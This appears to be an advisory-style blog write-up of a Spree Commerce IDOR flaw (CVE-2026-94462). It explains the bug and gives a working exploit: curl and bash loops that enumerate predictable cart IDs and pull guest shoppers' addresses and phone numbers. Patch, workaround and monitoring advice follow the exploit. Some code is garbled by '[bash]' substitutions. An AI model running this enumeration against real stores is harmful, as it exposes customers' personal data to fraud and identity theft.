Listen to this Post
CVE-2026-94462 is a broken access control / Insecure Direct Object Reference (IDOR) vulnerability in Spree Commerce, an open-source e-commerce solution built with Ruby on Rails. The flaw exists in the Store API v3 endpoint `PATCH /api/v3/store/carts/:id/associate` within Spree::Api::V3::Store::CartsControllerassociate. This endpoint is designed to allow an authenticated customer to bind a guest cart to their account, typically during the login flow when a user has items in a guest session cart and signs in. The vulnerability arises from the `find_cart_for_association` method, which locates a cart solely by its `prefixed_id` parameter without requiring a cart token or verifying that the requester actually possesses or owns the target guest cart. Every other action in the controller enforces the `authorize!(:update, @cart, cart_token)` check via the `CartResolvable` concern, but `associate` omits this critical authorization step entirely.
The `prefixed_id` is constructed as "cart_" + SQIDS.encode(
)</code>, where `SQIDS` is a `Sqids` instance configured with <code>min_length: 10</code>, using the default alphabet with no salt and no blocklist. Sqids is a non-cryptographic, reversible encoding algorithm, meaning that given a sequential auto-increment primary key, an attacker can deterministically compute the corresponding prefixed cart ID offline. Because the cart ID is effectively an obfuscated integer rather than a cryptographically random token, any authenticated low-privilege customer can enumerate valid guest cart IDs by simply encoding a range of integers.
Once a valid guest cart ID is identified, the attacker sends a PATCH request to the associate endpoint with their own JWT. The server locates the cart, reassigns its ownership to the attacker via <code>Spree.cart_associate_service.call(guest_order: @cart, user: current_user, guest_only: true)</code>, and returns the cart data. Critically, the existing billing and shipping addresses are preserved (<code>bill_address ||=</code> / <code>ship_address ||=</code>), and the response serializes sensitive personally identifiable information including first name, last name, address lines, city, postal code, phone, and company. Exploitation requires an authenticated account and depends on target guest carts already carrying address data on a store not running in `login_required` mode. The vulnerability is rated High (CVSS 7.1) with the vector <code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N</code>, reflecting the confidentiality impact of guest checkout PII exposure. This issue was fixed in Spree versions 5.4.4 and 5.5.4, with the patch requiring both JWT authentication and a valid `x-spree-token` header for cart association.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Spree Commerce
Version: 5.4.0-5.4.3, 5.5.0-5.5.3
Vulnerability: IDOR cart takeover
Severity: High (CVSS 7.1)
date: 2026-09-22
<h2 style="color: blue;">Prediction: 2026-09-22 (already patched)</h2>
<h2 style="color: blue;">What Undercode Say</h2>
<h2 style="color: blue;">Analytics</h2>
[bash]
Step 1: Authenticate and obtain JWT
curl -X POST https://store.example.com/api/v3/store/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password123"}'
Step 2: Derive candidate prefixed IDs offline (Sqids decode/encode)
Spree uses: prefixed_id = "cart_" + Sqids.new(min_length: 10).encode([bash])
irb -r sqids
sqids = Sqids.new(min_length: 10)
(1..500).each do |n|
puts "cart_{sqids.encode([bash])}"
end
Step 3: Enumerate guest carts via PATCH associate
for id in $(cat candidate_ids.txt); do
curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" \
-X PATCH "https://store.example.com/api/v3/store/carts/${id}/associate" \
-H "Authorization: Bearer ${ATTACKER_JWT}" \
-H "X-Spree-Api-Key: pk_live_xxxxxxxx"
done
Step 4: Extract PII from a successful response (HTTP 200)
curl -s -X PATCH "https://store.example.com/api/v3/store/carts/cart_86Rf07xd4z/associate" \
-H "Authorization: Bearer ${ATTACKER_JWT}" \
-H "X-Spree-Api-Key: pk_live_xxxxxxxx" | jq '.billing_address, .shipping_address'
Vulnerable code path (pre-patch) spree/api/app/controllers/spree/api/v3/store/carts_controller.rb:88-96 def associate @cart = find_cart_for_association result = Spree.cart_associate_service.call( guest_order: @cart, user: current_user, guest_only: true ) if result.success? render_cart else render_service_error(result.error.to_s) end end The missing authorization check (lines 177-178) def find_cart_for_association current_store.carts .where(user: [nil, current_user]) .find_by_prefix_id!(params[:id]) No authorize!(:update, @cart, cart_token) end
How Exploit: (Educational Purposes!)
- Register an ordinary customer account on the target Spree storefront via self-service registration.
- Authenticate via `POST /api/v3/store/auth/login` to obtain a valid JWT access token.
- Retrieve the store's publishable API key (
pk_...) from the storefront JavaScript bundle — this is a front-end credential present in any headless storefront. - Offline-derive a list of candidate cart prefixed IDs by encoding sequential integers 1 through N using `Sqids.new(min_length: 10).encode([bash])` and prefixing with
cart_. - For each candidate ID, send `PATCH /api/v3/store/carts/
/associate` with the attacker's JWT and the publishable key. A `200 OK` response indicates a successful cart takeover and contains the victim's `billing_address` and `shipping_address` data. Non-guest or non-existent carts return `404` or 422. - Harvest PII from all successful responses — names, street addresses, postal codes, phone numbers, and company names of guest shoppers.
Preconditions: Attacker holds a registered store account; the store is not in `login_required` mode; one or more guest carts carry checkout address data and have not yet been associated.
Protection: from this CVE
- Upgrade to Spree 5.4.4 or 5.5.4 immediately. The official patch requires both JWT authentication and a valid `x-spree-token` header matching the cart's token before association is permitted.
- If immediate upgrade is not possible, apply a temporary workaround in `carts_controller.rb` by adding a cart token verification step in the `associate` action before calling the association service, rejecting requests with `403 Forbidden` when the `x-spree-token` is missing or mismatched.
- Monitor for suspicious patterns of `PATCH /api/v3/store/carts/:id/associate` requests from the same authenticated user across multiple distinct cart IDs within a short time window — this is a strong indicator of enumeration attacks.
- Ensure the storefront is not running in `login_required` mode unless operationally necessary; guest checkout with address collection is the primary condition enabling PII exposure.
Impact
Confidentiality: An authenticated attacker can enumerate guest cart IDs systematically and read checkout PII (name, street address, postal code, phone, company) stored on carts they do not own. This constitutes a direct violation of customer privacy and can facilitate targeted phishing, fraud, or identity theft based on location and purchasing data.
Integrity: Limited and recoverable. Each successful association reassigns the guest cart to the attacker's account and overwrites the cart's email field. This disrupts the original guest's in-progress checkout session, potentially causing loss of cart contents and requiring the legitimate user to restart their shopping flow.
Scope: Requires a registered account, so the vulnerability is not anonymously exploitable. The impact is bounded by the requirement that target guest carts must already contain address data and must not yet have been associated. Stores running in `login_required` mode are not affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

